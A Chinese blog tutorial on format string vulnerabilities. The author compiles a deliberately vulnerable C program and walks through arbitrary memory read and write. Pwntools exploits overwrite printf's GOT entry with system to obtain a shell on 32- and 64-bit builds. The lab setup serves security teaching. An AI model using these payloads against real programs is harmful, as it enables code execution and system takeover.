

<!DOCTYPE html>
<html lang="zh-CN" data-default-color-scheme=dark>



<head>
  <meta charset="UTF-8">
  <link rel="apple-touch-icon" sizes="76x76" href="/img/newtubiao.png">
  <link rel="icon" href="/img/newtubiao.png">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, shrink-to-fit=no">
  <meta http-equiv="x-ua-compatible" content="ie=edge">
  
  <meta name="theme-color" content="#2f4154">
  <meta name="description" content="">
  <meta name="author" content="Asteri5m">
  <meta name="keywords" content="">
  <meta name="description" content="0x00 printf函数printf函数的格式是printf(&quot;%s&quot;,(char*)str)之类的，就是有一个参数%d，%c，%x等等之类的 如果吧格式写成printf((char*) str)，那么如果str里含有 printf可以识别的格式字串，那么printf就会执行操作 0x10 环境准备在Ubuntu20.04下使用gcc编译器，因为反编译效果不佳，推荐使用cla">
<meta property="og:type" content="article">
<meta property="og:title" content="PWN入门到放弃2-格式化字符串漏洞">
<meta property="og:url" content="http://asteri5m.icu/archives/PWN%E5%85%A5%E9%97%A8%E5%88%B0%E6%94%BE%E5%BC%832-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E.html">
<meta property="og:site_name" content="Asteri5m">
<meta property="og:description" content="0x00 printf函数printf函数的格式是printf(&quot;%s&quot;,(char*)str)之类的，就是有一个参数%d，%c，%x等等之类的 如果吧格式写成printf((char*) str)，那么如果str里含有 printf可以识别的格式字串，那么printf就会执行操作 0x10 环境准备在Ubuntu20.04下使用gcc编译器，因为反编译效果不佳，推荐使用cla">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228194749851.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228200301937.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228200623205.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228203919001.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228204918721.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228195232259.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228215932041.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228220021602.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228222933789.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228224752799.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228233012000.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220302165837132.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220301003308752.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220302170101787.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220302171945538.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303142809745.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303143726041.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303145256029.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303145802445.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303152233105.png">
<meta property="article:published_time" content="2022-03-03T07:42:01.000Z">
<meta property="article:modified_time" content="2022-03-04T06:50:45.669Z">
<meta property="article:author" content="Asteri5m">
<meta property="article:tag" content="Pwn">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228194749851.png">
  
    <meta name="baidu-site-verification" content="code-GBSY8p4qe6" />
  
  <title>PWN入门到放弃2-格式化字符串漏洞 - Asteri5m</title>

  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/css/bootstrap.min.css" />


  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/github-markdown-css@4/github-markdown.min.css" />
  <link  rel="stylesheet" href="/lib/hint/hint.min.css" />

  
    
    
      
      <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/highlight.js@10/styles/atom-one-dark.min.css" />
    
  

  
    <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.css" />
  


<!-- 主题依赖的图标库，不要自行修改 -->

<link rel="stylesheet" href="//at.alicdn.com/t/font_1749284_ba1fz6golrf.css">



<link rel="stylesheet" href="//at.alicdn.com/t/font_1736178_kmeydafke9r.css">


<link  rel="stylesheet" href="/css/main.css" />

<!-- 自定义样式保持在最底部 -->

  
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/aplayer@1.10.0/dist/APlayer.min.css">
<link rel="stylesheet" href="/xm_custom/custom.css">



  <script id="fluid-configs">
    var Fluid = window.Fluid || {};
    var CONFIG = {"hostname":"asteri5m.icu","root":"/","version":"1.8.12","typing":{"enable":true,"typeSpeed":120,"cursorChar":"_","loop":true},"anchorjs":{"enable":true,"element":"h1,h2,h3,h4,h5,h6","placement":"right","visible":"hover","icon":""},"progressbar":{"enable":true,"height_px":3,"color":"#29d","options":{"showSpinner":false,"trickleSpeed":100}},"copy_btn":true,"image_zoom":{"enable":true,"img_url_replace":["",""]},"toc":{"enable":true,"headingSelector":"h1,h2,h3,h4,h5,h6","collapseDepth":3},"lazyload":{"enable":true,"loading_img":"/img/loading.gif","onlypost":false,"offset_factor":2},"web_analytics":{"enable":true,"baidu":null,"google":null,"gtag":null,"tencent":{"sid":null,"cid":null},"woyaola":null,"cnzz":null,"leancloud":{"app_id":"5INqyf5xMrWdsn0whn39qjsu-gzGzoHsz","app_key":"6UTAOxyJnjvDwHX3PJagKMg9","server_url":"https://5inqyf5x.lc-cn-n1-shared.com","path":"window.location.pathname"}},"search_path":"/local-search.xml"};
  </script>
  <script  src="/js/utils.js" ></script>
  <script  src="/js/color-schema.js" ></script>
<meta name="generator" content="Hexo 5.4.0"></head>


<body>
  <header style="height: 70vh;">
    <nav id="navbar" class="navbar fixed-top  navbar-expand-lg navbar-dark scrolling-navbar">
  <div class="container">
    <a class="navbar-brand" href="/">
      <strong>Asteri5m</strong>
    </a>

    <button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
            data-target="#navbarSupportedContent"
            aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
      <div class="animated-icon"><span></span><span></span><span></span></div>
    </button>

    <!-- Collapsible content -->
    <div class="collapse navbar-collapse" id="navbarSupportedContent">
      <ul class="navbar-nav ml-auto text-center">
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/">
                <i class="iconfont icon-home-fill"></i>
                首页
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/archives/">
                <i class="iconfont icon-archive-fill"></i>
                归档
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/categories/">
                <i class="iconfont icon-category-fill"></i>
                分类
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/tags/">
                <i class="iconfont icon-tags-fill"></i>
                标签
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/about/">
                <i class="iconfont icon-user-fill"></i>
                关于
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/guestbook/">
                <i class="iconfont icon-note"></i>
                留言板
              </a>
            </li>
          
        
        
          <li class="nav-item" id="search-btn">
            <a class="nav-link" target="_self" href="javascript:;" data-toggle="modal" data-target="#modalSearch" aria-label="Search">
              &nbsp;<i class="iconfont icon-search"></i>&nbsp;
            </a>
          </li>
        
        
          <li class="nav-item" id="color-toggle-btn">
            <a class="nav-link" target="_self" href="javascript:;" aria-label="Color Toggle">&nbsp;<i
                class="iconfont icon-dark" id="color-toggle-icon"></i>&nbsp;</a>
          </li>
        
      </ul>
    </div>
  </div>
</nav>

    <div class="banner" id="banner" false
         style="background: url('/img/none.png') no-repeat center center;
           background-size: cover;">
      <div class="full-bg-img">
        <div class="mask flex-center" style="background-color: rgba(0, 0, 0, 0)">
          <div class="page-header text-center fade-in-up">
            <span class="h2" id="subtitle" title="PWN入门到放弃2-格式化字符串漏洞">
              
            </span>

            
              <div class="mt-3">
  
  
    <span class="post-meta">
      <i class="iconfont icon-date-fill" aria-hidden="true"></i>
      <time datetime="2022-03-03 15:42" pubdate>
        2022年3月3日 下午
      </time>
    </span>
  
</div>

<div class="mt-1">
  
    <span class="post-meta mr-2">
      <i class="iconfont icon-chart"></i>
      5k 字
    </span>
  

  
    <span class="post-meta mr-2">
      <i class="iconfont icon-clock-fill"></i>
      
      
      16 分钟
    </span>
  

  
  
    
      <!-- LeanCloud 统计文章PV -->
      <span id="leancloud-page-views-container" class="post-meta" style="display: none">
        <i class="iconfont icon-eye" aria-hidden="true"></i>
        <span id="leancloud-page-views"></span> 次
      </span>
    
  
</div>

            
          </div>

          
        </div>
      </div>
    </div>
  </header>

  <main>
    
      

<div class="container-fluid nopadding-x">
  <div class="row nomargin-x">
    <div class="d-none d-lg-block col-lg-2"></div>
    <div class="col-lg-8 nopadding-x-md">
      <div class="container nopadding-x-md" id="board-ctn">
        <div class="py-5" id="board">
          <article class="post-content mx-auto">
            <!-- SEO header -->
            <h1 style="display: none">PWN入门到放弃2-格式化字符串漏洞</h1>
            
              <p class="note note-info">
                
                  本文最后更新于：5 天前
                
              </p>
            
            <div class="markdown-body">
              <h2 id="0x00-printf函数"><a href="#0x00-printf函数" class="headerlink" title="0x00 printf函数"></a>0x00 <code>printf</code>函数</h2><p><code>printf</code>函数的格式是<code>printf(&quot;%s&quot;,(char*)str)</code>之类的，就是有一个参数%d，%c，%x等等之类的</p>
<p>如果吧格式写成<code>printf((char*) str)</code>，那么如果<code>str</code>里含有 <code>printf</code>可以识别的格式字串，那么<code>printf</code>就会执行操作</p>
<h2 id="0x10-环境准备"><a href="#0x10-环境准备" class="headerlink" title="0x10 环境准备"></a>0x10 环境准备</h2><p>在Ubuntu20.04下使用gcc编译器，因为反编译效果不佳，推荐使用clang</p>
<p>安装命令</p>
<figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">sudo apt install gcc<br>sudo apt install clang<br></code></pre></div></td></tr></table></figure>

<p>默认是安装64位环境的，所以补充32位编译环境：</p>
<figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">sudo apt-get install gcc-multilib<br></code></pre></div></td></tr></table></figure>

<p>生成32位程序时添加指令 -m32</p>
<figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">gcc -m32 printf.c -o printf32<br></code></pre></div></td></tr></table></figure>

<h2 id="0x20-32位复现"><a href="#0x20-32位复现" class="headerlink" title="0x20 32位复现"></a>0x20 32位复现</h2><h3 id="0x21-编写漏出后门的程序"><a href="#0x21-编写漏出后门的程序" class="headerlink" title="0x21 编写漏出后门的程序"></a>0x21 编写漏出后门的程序</h3><p>编写一段带后门的程序，采用32位的编译，这里留个两个后门，只要能够输出flag字符串或者获取shellcode就算成功。</p>
<figure class="highlight c"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;string.h&gt;</span></span><br><br><span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">fun</span><span class="hljs-params">()</span></span>&#123;<br>	system(<span class="hljs-string">&quot;bin/sh&quot;</span>);<br>	<span class="hljs-keyword">return</span>;<br>&#125;<br><br><span class="hljs-keyword">char</span> flag[] = <span class="hljs-string">&quot;flag&#123;OK_get!&#125;&quot;</span>;<br><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span>&#123;<br>	<span class="hljs-keyword">char</span> s[<span class="hljs-number">0x100</span>];<br>	<span class="hljs-built_in">memset</span>(&amp;s,<span class="hljs-number">0</span>,<span class="hljs-number">0x100</span>);<br>	<br>	<span class="hljs-keyword">while</span>(s[<span class="hljs-number">0</span>] != <span class="hljs-string">&#x27;0&#x27;</span>)&#123;<br>		read(<span class="hljs-number">0</span>,&amp;s,<span class="hljs-number">0x100</span>);<br>		<span class="hljs-built_in">printf</span>(s);<br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;\n\n&quot;</span>);<br>	&#125;<br>	<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>&#125;<br></code></pre></div></td></tr></table></figure>

<p>编译代码然后使用IDA分析，编译的时候编译器报了warning，但是我们就是要使用该漏洞，所以不管它。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228194749851.png" srcset="/img/loading.gif" lazyload></p>
<h3 id="ox22-分析调试，任意位置读"><a href="#ox22-分析调试，任意位置读" class="headerlink" title="ox22 分析调试，任意位置读"></a>ox22 分析调试，任意位置读</h3><p>运行程序发现，无论输入什么，都会原样输出，但是当我们输入一些特殊符号时，例如%s，%x，输出就变得奇奇怪怪：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228200301937.png" srcset="/img/loading.gif" lazyload></p>
<p>这里的原理很简单，形如printf(“%s”,“Hello world”)的使用形式会把第一个参数%s作为格式化字符串参数进行解析，在这里由于我们直接用printf输出一个变量，当变量也正好是格式化字符串时，自然就会被printf解析。</p>
<p>接着实验：连续输入多个%x查看结果（这一步很关键）</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228200623205.png" srcset="/img/loading.gif" lazyload></p>
<p>发现在第9个%x的时候输出了252C7825，后面开始循环，这里是<code>&#39;%&#39;(ASCII:0x25),&#39;x&#39;(ASCII:0x78),&#39;,&#39;(ASCII：0x2c)</code></p>
<p>这里为什么是这样的呢？接着实验，打开IDA远程调试，输入十个%x，查看此时栈内的情况</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228203919001.png" srcset="/img/loading.gif" lazyload></p>
<p>可以看到，此时向下的第九个偏移就是刚刚的输入，所以理论上我们可以通过叠加%x来获取有限范围内的栈数据。那么我们有可能泄露其他数据吗？</p>
<p>我们知道格式化字符串里有%s，用于输出字符。其本质上是读取对应的参数，并作为指针解析，获取到对应地址的字符串输出。我们先输入一个%s观察结果：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228204918721.png" srcset="/img/loading.gif" lazyload></p>
<p>可以看到，栈顶是第一个参数，也就是我们输入的%s, 第二个参数的地址和第一个参数一样，作为地址解析指向的还是%s和回车0x0A。由于此时我们可以通过输入来操控栈，我们可以输入一个地址，再让%s正好对应到这个地址，从而输出地址指向的字符串，实现任意地址读。</p>
<p>这里找到flag字符串的地址以及main函数的起始地址</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228195232259.png" srcset="/img/loading.gif" lazyload></p>
<p>通过刚刚的调试我们可以发现，我们的输入从第九个参数开始(上图从栈顶往下数第九个‘FFC4AF34’ &#x3D; %s\n%)。所以我们可以构造字符串“\x28\xC0\x04\x08%x.%x.%x.%x.%x.%x.%x.%x.%s”</p>
<p>由于字符串里包括了不可写字符，我们没办法直接输入，这里前面四个字符输入‘0’ ，输入后再使用F2修改IDA的内存。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228215932041.png" srcset="/img/loading.gif" lazyload></p>
<p>接着运行下面的printf语句，返回虚拟机就可以看到：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228220021602.png" srcset="/img/loading.gif" lazyload></p>
<p>我们成功地泄露出了地址0×08048001内的内容。</p>
<p>经过刚刚的试验，我们用来泄露指定地址的payload对读者来说应该还是能够理解的。由于我们的输入本体恰好在printf读取参数的第九个参数的位置，所以我们把地址布置在开头，使其被printf当做第九个参数。接下来是格式化字符串，使用%x处理掉第一到第八个参数，使用%s将第九个参数作为地址解析。但是如果输入长度有限制，而且我们的输入位于printf的第几十个参数之外要怎么办呢？叠加%x显然不现实。因此我们需要用到格式化字符串的另一个特性。</p>
<p>格式化字符串可以使用一种特殊的表示形式来指定处理第n个参数，如输出第就九参数可以写为<code>%9$s</code>，第六个为<code>%6$s</code>，需要输出第n个参数就是<code>%n$[格式化控制符]</code>。因此我们的payload可以简化为<code>“\x28\xC0\x04\x08%9$s”</code></p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228222933789.png" srcset="/img/loading.gif" lazyload></p>
<h3 id="0x23-任意地址写-amp-getshell"><a href="#0x23-任意地址写-amp-getshell" class="headerlink" title="0x23 任意地址写&amp;getshell"></a>0x23 任意地址写&amp;getshell</h3><p>使用格式化字符串漏洞任意写虽然我们可以利用格式化字符串漏洞达到任意地址读，但是并不是所有的程序都像我这样都有后门可以直接获取shell，因此还需要任意地址写。所以要学习格式化字符串的另一个特性——使用printf进行写入。</p>
<p>printf有一个特殊的格式化控制符%n，和其他控制输出格式和内容的格式化字符不同的是，这个格式化字符会将已输出的字符数写入到对应参数的内存中。我们将payload改成<code>“\x28\xC0\x04\x08%9$s”</code>，修改flag的值（这里还是通过输入0改内存的方式），得到了结果：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228224752799.png" srcset="/img/loading.gif" lazyload></p>
<p>flag字串就修改成4了。</p>
<p>现在我们已经验证了任意地址读写，接下来可以构造exp拿shell了。</p>
<p>由于我们可以任意地址写，且程序里有system函数，因此我们在这里可以直接选择劫持一个函数的got表项为system的plt表项，从而执行system(“&#x2F;bin&#x2F;sh”)。劫持哪一项呢？我们发现在got表中有五个函数，且printf函数可以单参数调用，参数又正好是我们输入的。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220228233012000.png" srcset="/img/loading.gif" lazyload></p>
<p>或者使用pwntools获取对应的表项</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220302165837132.png" srcset="/img/loading.gif" lazyload></p>
<p>因此我们可以劫持printf为system，然后再次通过read读取“&#x2F;bin&#x2F;sh”，此时printf(“&#x2F;bin&#x2F;sh”)将会变成system(“&#x2F;bin&#x2F;sh”)。根据之前的任意地址写实验，我们很容易构造payload如下：</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">printf_got = <span class="hljs-number">0x0804C010</span><br><br>system_plt = <span class="hljs-number">0x08049060</span><br><br>payload = p32(printf_got)+<span class="hljs-string">&quot;%&quot;</span>+<span class="hljs-built_in">str</span>(system_plt-<span class="hljs-number">4</span>)+<span class="hljs-string">&quot;c%9$n&quot;</span><br></code></pre></div></td></tr></table></figure>

<p>回到虚拟机，使用pwntools编写exp尝试，（因为python3要解决str转bytes的问题，所以需要encode）：</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *<br><br>context.log_level = <span class="hljs-string">&quot;debug&quot;</span> <span class="hljs-comment">#show debug information</span><br><br>p = process(<span class="hljs-string">&#x27;./printf32&#x27;</span>)<br><br>printf_got = <span class="hljs-number">0x0804C010</span><br>system_plt = <span class="hljs-number">0x08049060</span><br>payload = p32(printf_got)+<span class="hljs-string">b&quot;%&quot;</span>+<span class="hljs-built_in">str</span>(system_plt-<span class="hljs-number">4</span>).encode()+<span class="hljs-string">b&quot;c%9$n&quot;</span><br><br>p.sendline(payload)<br><span class="hljs-built_in">print</span>(p.recv())<br><br>p.interactive()<br></code></pre></div></td></tr></table></figure>

<p>但是出现了问题，这里因为大量的字符串写入和输出占用大量资源，导致程序被进程管理杀掉了，因此这种方法有问题，需要进一步优化。事实上，如果是网络中，大量的数据传输也非常容易出错导致失败。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220301003308752.png" srcset="/img/loading.gif" lazyload></p>
<p>因此需要换一种exp的写法，在64位下有<code>%lld</code>,<code>%llx</code>等方式来表示四字(qword)长度的数据，而对称地，我们也可以使用<code>%hd</code>, <code>%hhx</code>这样的方式来表示字(word)和字节(byte)长度的数据，对应到%n上就是<code>%hn,%hhn</code>。</p>
<p>为了防止修改的地址有误导致程序崩溃，仍然需要一次性把got表中的<code>printf</code>项改掉，因此使用<code>%hhn</code>时我们就必须一次修改四个字节。那么我们就得重新构造一下payload</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">printf_got = <span class="hljs-number">0x0804C010</span><br><br>payload = p32(printf_got)<br>payload += p32(printf_got+<span class="hljs-number">1</span>)<br>payload += p32(printf_got+<span class="hljs-number">2</span>)<br>payload += p32(printf_got+<span class="hljs-number">3</span>)<br></code></pre></div></td></tr></table></figure>

<p>这样的就是一个字节一个字节的修改，相对得到输出量就会减小很多。</p>
<p>此时前面已经有了16个字节，就需要重新计算填偏移了，先来修改第一位。由于x86和x86-64都是小端序，<code>printf_got</code>对应的应该是地址后两位0×60</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">payload += <span class="hljs-string">b&quot;%&quot;</span><br>payload += <span class="hljs-built_in">str</span>(<span class="hljs-number">0x60</span>-<span class="hljs-number">0x10</span>).encode()<br>payload += <span class="hljs-string">b&quot;c%9$hhn&quot;</span><br></code></pre></div></td></tr></table></figure>

<p>接着修改 <code>printf_got+1</code> 的字节：0x90，前面已经有了0x60个字节，所以直接减去就好，而对应的%n的参数数应该是第二个，因此也要加一。</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">payload += <span class="hljs-string">b&quot;%&quot;</span><br>payload += <span class="hljs-built_in">str</span>(<span class="hljs-number">0x90</span>-<span class="hljs-number">0x60</span>).encode()<br>payload += <span class="hljs-string">b&quot;c%10$hhn&quot;</span><br></code></pre></div></td></tr></table></figure>

<p>同理 <code>printf_got+2</code>，这里对应的是04，因为前面已经超出了，所以这里构造0x104，截断后变成0x04,。</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">payload += <span class="hljs-string">b&quot;%&quot;</span><br>payload += <span class="hljs-built_in">str</span>(<span class="hljs-number">0x100</span> + <span class="hljs-number">0x04</span> - <span class="hljs-number">0x90</span>).encode()<br>payload += <span class="hljs-string">b&quot;c%11$hhn&quot;</span><br></code></pre></div></td></tr></table></figure>

<p>最后是<code>printf_got+3</code> 的字节 0x08，这里很容易的计算出差值为4（这里是0x08，前面已经有了0x104个字节，所以也是构造0x108，因此差值为0x4。这里很容易发现规律：补差值即可，既后一位减去前一位）</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">payload += <span class="hljs-string">b&quot;%&quot;</span><br>payload += <span class="hljs-built_in">str</span>(<span class="hljs-number">0x4</span>).encode()<br>payload += <span class="hljs-string">b&quot;c%12$hhn&quot;</span><br></code></pre></div></td></tr></table></figure>

<p>运行exp，再次输入时输入 <code>/bin/sh</code>即可获取shell。（这里的flag文件是提前准备好的）</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220302170101787.png" srcset="/img/loading.gif" lazyload></p>
<h2 id="0x30-64位复现"><a href="#0x30-64位复现" class="headerlink" title="0x30 64位复现"></a>0x30 64位复现</h2><p>还是之前的代码，现在正常编译即可，这次重命名为printf。</p>
<p>同样的测试，这次是第8个参数</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220302171945538.png" srcset="/img/loading.gif" lazyload></p>
<p>前面的分析直接跳过，用pwntools获取printf的got表项地址和system的plt表项的地址。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303142809745.png" srcset="/img/loading.gif" lazyload></p>
<p>先使用之前的exp试试，简单修改下地址，这里是64位程序所以要用p64：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303143726041.png" srcset="/img/loading.gif" lazyload></p>
<p>发现失败了，分析失败原因，查看返回值，可以看到只返回了<code>‘\x20(空格)@@’</code>，这里返回了什么，就说明我们输入了什么，意思是只有前面三个字节输入进去了，<code>\x00</code>是没有办法输入的。而且64位系统的地址比32位长一倍，基址高位基本都是0，因此需要调整exp，将地址放在payload的最后。由于地址中带有\x00，所以这回就不能用%hhn分段写了，因此我们的payload构造如下</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">printf_got = <span class="hljs-number">0x00404020</span><br>system_plt = <span class="hljs-number">0x00401030</span><br><br>payload = <span class="hljs-string">b&#x27;%&#x27;</span> + <span class="hljs-built_in">str</span>(system_plt).encode() + <span class="hljs-string">b&#x27;c%8$lln&#x27;</span> + p64(printf_got)<br></code></pre></div></td></tr></table></figure>

<p>但是运行之后直接爆段错误</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303145256029.png" srcset="/img/loading.gif" lazyload></p>
<p>查看堆栈，发现地址貌似出现了错误，其实是前面少了一位导致没有对齐</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303145802445.png" srcset="/img/loading.gif" lazyload></p>
<p>所以需要在前面填充一位非零字符使得地址对齐即可，但是同时这里应该是第三个参数了，所以是8+2 &#x3D; 10既<code>%10$lln</code>，8变成10，一个字节变成两个字节，刚好代替填充，所以不要填充了，直接改成10即可：</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">payload = <span class="hljs-string">b&#x27;%&#x27;</span> + <span class="hljs-built_in">str</span>(system_plt).encode() + <span class="hljs-string">b&#x27;c%10$lln&#x27;</span> + p64(printf_got)<br></code></pre></div></td></tr></table></figure>

<p>成功！</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20220303152233105.png" srcset="/img/loading.gif" lazyload></p>

            </div>
            <hr>
            <div>
              <div class="post-metas mb-3">
                
                  <div class="post-meta mr-3">
                    <i class="iconfont icon-category"></i>
                    
                      <a class="hover-with-bg" href="/categories/Pwn%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/">Pwn基础知识</a>
                    
                  </div>
                
                
                  <div class="post-meta">
                    <i class="iconfont icon-tags"></i>
                    
                      <a class="hover-with-bg" href="/tags/Pwn/">Pwn</a>
                    
                  </div>
                
              </div>
              
                <p class="note note-warning">
                  
                    本博客所有文章除特别声明外，均采用 <a target="_blank" href="https://creativecommons.org/licenses/by-sa/4.0/deed.zh" rel="nofollow noopener noopener">CC BY-SA 4.0 协议</a> ，转载请注明出处！
                  
                </p>
              
              
